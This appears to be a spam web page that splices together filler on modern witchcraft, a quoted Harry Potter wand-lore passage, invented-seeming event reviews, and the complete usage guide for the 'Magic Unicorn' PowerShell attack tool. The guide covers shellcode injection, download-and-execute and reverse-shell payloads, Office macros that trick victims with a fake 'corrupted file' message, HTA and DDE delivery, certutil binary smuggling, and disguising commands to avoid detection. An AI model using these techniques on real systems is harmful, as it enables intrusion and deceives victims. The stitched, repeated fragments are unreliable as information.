There are no witchcraft demonstrations close to me today. While witchcraft may be a popular topic in literature and entertainment, it is not something that is typically demonstrated or practiced openly in the modern world. Witchcraft, also known as Wicca or pagan practices, is a spiritual belief system that focuses on nature, energy, and the use of magic. However, it is important to note that witchcraft is a protected religious practice in many countries, including the United States, and individuals who identify as witches have the right to practice their beliefs. That being said, witchcraft is often misunderstood and stigmatized due to its association with historical persecution and negative stereotypes, such as black magic or evil spells. In reality, many modern witches practice witchcraft as a form of self-expression, spirituality, and healing.
Early in my career, as I watched my wandmaker father wrestling with substandard wand core materials such as kelpie hair, I conceived the ambition to discover the finest cores and to work only with those when my time came to take over the family business. This I have done. After much experimentation and research, I concluded that only three substances produce wands of the quality to which I am happy to give the illustrious name of Ollivander: unicorn hair, dragon heartstring and phoenix feather. Each of these costly and rare materials has its own distinct properties. The following represents a short summary of my researches into each of the three Supreme Cores. Readers should bear in mind that each wand is the composite of its wood, its core and the experience and nature of its owner; that tendencies of each may counterbalance or outweigh the other; so this can only be a very general overview of an immensely complex subject.
-----CERTUTIL Attack Instruction---- The certutil attack vector was identified by Matthew Graeber mattifestation which allows you to take a binary file, move it into a base64 format and use certutil on the victim machine to convert it back to a binary for you. Readers should bear in mind that each wand is the composite of its wood, its core and the experience and nature of its owner; that tendencies of each may counterbalance or outweigh the other; so this can only be a very general overview of an immensely complex subject.
In reality, many modern witches practice witchcraft as a form of self-expression, spirituality, and healing. They may perform rituals, cast spells, or work with energy and natural elements, but these practices are often personal and not publicly demonstrated. It is also important to note that not all individuals who practice witchcraft identify as witches, and there is a wide range of beliefs and practices within the broader umbrella of witchcraft.
Packages and Binaries:
This package contains a simple tool for using a PowerShell downgrade attack and inject shellcode straight into memory. Based on Matthew Graeber’s powershell attacks and the powershell bypass technique presented by David Kennedy (TrustedSec) and Josh Kelly at Defcon 18.
Usage is simple, just run Magic Unicorn (ensure Metasploit is installed and in the right path) and magic unicorn will automatically generate a powershell command that you need to simply cut and paste the powershell code into a command line window or through a payload delivery system.

root@kali:~# unicorn-magic --help [********************************************************************************************************] -----POWERSHELL ATTACK INSTRUCTIONS---- Everything is now generated in two files, powershell_attack.txt and unicorn.rc. The text file contains all of the code needed in order to inject the powershell attack into memory. Note you will need a place that supports remote command injection of some sort. Often times this could be through an excel/word doc or through psexec_commands inside of Metasploit, SQLi, etc.. There are so many implications and scenarios to where you can use this attack at. Simply paste the powershell_attack.txt command in any command prompt window or where you have the ability to call the powershell executable and it will give a shell back to you. This attack also supports windows/download_exec for a payload method instead of just Meterpreter payloads. When using the download and exec, simply put python unicorn.py windows/download_exec url=https://www.thisisnotarealsite.com/payload.exe and the powershell code will download the payload and execute. Note that you will need to have a listener enabled in order to capture the attack. [*******************************************************************************************************] [*******************************************************************************************************] -----MACRO ATTACK INSTRUCTIONS---- For the macro attack, you will need to go to File, Properties, Ribbons, and select Developer. Once you do that, you will have a developer tab. Create a new macro, call it Auto_Open and paste the generated code into that. This will automatically run. Note that a message will prompt to the user saying that the file is corrupt and automatically close the excel document. THIS IS NORMAL BEHAVIOR! This is tricking the victim to thinking the excel document is corrupted. You should get a shell through powershell injection after that. If you are deploying this against Office365/2016+ versions of Word you need to modify the first line of the output from: Sub Auto_Open() To: Sub AutoOpen() The name of the macro itself must also be "AutoOpen" instead of the legacy "Auto_Open" naming scheme. NOTE: WHEN COPYING AND PASTING THE EXCEL, IF THERE ARE ADDITIONAL SPACES THAT ARE ADDED YOU NEED TO REMOVE THESE AFTER EACH OF THE POWERSHELL CODE SECTIONS UNDER VARIABLE "x" OR A SYNTAX ERROR WILL HAPPEN! [*******************************************************************************************************] [*******************************************************************************************************] -----HTA ATTACK INSTRUCTIONS---- The HTA attack will automatically generate two files, the first the index.html which tells the browser to use Launcher.hta which contains the malicious powershell injection code. All files are exported to the hta_access/ folder and there will be three main files. The first is index.html, second Launcher.hta and the last, the unicorn.rc (if metasploit was used) file. You can run msfconsole -r unicorn.rc to launch the listener for Metasploit. If you didn't use Metasploit, only two files will be exported. A user must click allow and accept when using the HTA attack in order for the powershell injection to work properly. [*******************************************************************************************************] [*******************************************************************************************************] -----CERTUTIL Attack Instruction---- The certutil attack vector was identified by Matthew Graeber (@mattifestation) which allows you to take a binary file, move it into a base64 format and use certutil on the victim machine to convert it back to a binary for you. This should work on virtually any system and allow you to transfer a binary to the victim machine through a fake certificate file. To use this attack, simply place an executable in the path of unicorn and run python unicorn.py crt in order to get the base64 output. Once that's finished, go to decode_attack/ folder which contains the files. The bat file is a command that can be run in a windows machine to convert it back to a binary. [*******************************************************************************************************] [*******************************************************************************************************] -----Custom PS1 Attack Instructions---- This attack method allows you to convert any PowerShell file (.ps1) into an encoded command or macro. Note if choosing the macro option, a large ps1 file may exceed the amount of carriage returns allowed by VBA. You may change the number of characters in each VBA string by passing an integer as a parameter. Examples: python unicorn.py harmless.ps1 python unicorn.py myfile.ps1 macro python unicorn.py muahahaha.ps1 macro 500 The last one will use a 500 character string instead of the default 380, resulting in less carriage returns in VBA. [*******************************************************************************************************] [*******************************************************************************************************] -----DDE Office COM Attack Instructions---- This attack vector will generate the DDEAUTO formulate to place into Word or Excel. The COM object DDEInitilize and DDEExecute allow for formulas to be created directly within Office which causes the ability to gain remote code execution without the need of macros. This attack was documented and full instructions can be found at: https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/ In order to use this attack, run the following examples: python unicorn.py dde python unicorn.py windows/meterpreter/reverse_https 192.168.5.5 443 dde Once generated, a powershell_attack.txt will be generated which contains the Office code, and the unicorn.rc file which is the listener component which can be called by msfconsole -r unicorn.rc to handle the listener for the payload. In addition a download.ps1 will be exported as well (explained in the latter section). In order to apply the payload, as an example (from sensepost article): 1. Open Word 2. Insert tab -> Quick Parts -> Field 3. Choose = (Formula) and click ok. 4. Once the field is inserted, you should now see "!Unexpected End of Formula" 5. Right-click the Field, choose "Toggle Field Codes" 6. Paste in the code from Unicorn 7. Save the Word document. Once the office document is opened, you should receive a shell through powershell injection. Note that DDE is limited on char size and we need to use Invoke-Expression (IEX) as the method to download. The DDE attack will attempt to download download.ps1 which is our powershell injection attack since we are limited to size restrictions. You will need to move the download.ps1 to a location that is accessible by the victim machine. This means that you need to host the download.ps1 in an Apache2 directory that it has access to. You may notice that some of the commands use " < QUOTE" these are ways of masking specific commands which is documented here: http://staaldraad.github.io/2017/10/23/msword-field-codes/. In this case we are changing WindowsPowerShell, powershell.exe, and IEX to avoid detection. Also check out the URL as it has some great methods for not calling DDE at all. [*******************************************************************************************************] [*******************************************************************************************************] -----Import Cobalt Strike Beacon---- This method will import direct Cobalt Strike Beacon shellcode directly from Cobalt Strike. Within Cobalt Strike, export the Cobalt Strike "CS" (C#) export and save it to a file. For example, call the file, cobalt_strike_file.cs. The export code will look something like this: * length: 836 bytes */ byte[] buf = new byte[836] < 0xfc, etc Next, for usage: python unicorn.py cobalt_strike_file.cs cs The cs argument tells Unicorn that you want to use the Cobalt strike functionality. The rest is Magic. Next simply copy the powershell command to something you have the ability for remote command execution. NOTE: THE FILE MUST BE EXPORTED IN THE C# (CS) FORMAT WITHIN COBALT STRIKE TO PARSE PROPERLY. There are some caveats with this attack. Note that the payload size will be a little over 14k+ in byte size. That means that from a command line argument perspective if you copy and paste you will hit the 8191 character size restriction (hardcoded into cmd.exe). If you are launching directly from cmd.exe this is an issue, however if you are launching directly from PowerShell or other normal applications this is a non-problem. A couple examples here, wscript.shell and powershell uses USHORT - 65535 / 2 = 32767 size limit: typedef struct _UNICODE_STRING < USHORT Length; USHORT MaximumLength; PWSTR Buffer; >UNICODE_STRING; For this attack if you are launching directly from powershell, VBSCript (WSCRIPT.SHELL), there is no issues.

Reviews for "Explore the Magic of Witchcraft: Nearby Demonstrations Happening Today"
1. Mary - 1 star
I attended the "Witchcraft demonstrations close to me today" event and was extremely disappointed. The whole event felt like a poorly executed circus act rather than a serious exploration of witchcraft. The performers seemed more interested in gimmicks and showmanship rather than actually teaching or demonstrating real witchcraft practices. The information provided was basic and superficial, leaving me feeling like I had wasted my time and money. I would not recommend this event to anyone looking for an authentic and educational experience on witchcraft.
2. John - 2 stars
I was excited to attend the "Witchcraft demonstrations close to me today" event, but it fell short of my expectations. The demonstrations felt rushed and lacked depth. It seemed like the performers were more focused on pleasing the audience with flashy tricks rather than truly delving into the world of witchcraft. Additionally, the event was overpriced for the limited information and experience provided. I left feeling unsatisfied and wishing I had chosen a different way to spend my day.
3. Sarah - 2 stars
As someone who is genuinely interested in witchcraft, I was disappointed by the "Witchcraft demonstrations close to me today" event. The demonstrations felt more like a stage performance aimed at entertaining the audience rather than providing any substantial knowledge or insight into witchcraft practices. The presenters lacked credibility and the information shared was too basic to be of any real value. I was hoping for a more authentic and educational experience, but sadly, this event fell short. I would not recommend it to those seeking a genuine understanding of witchcraft.
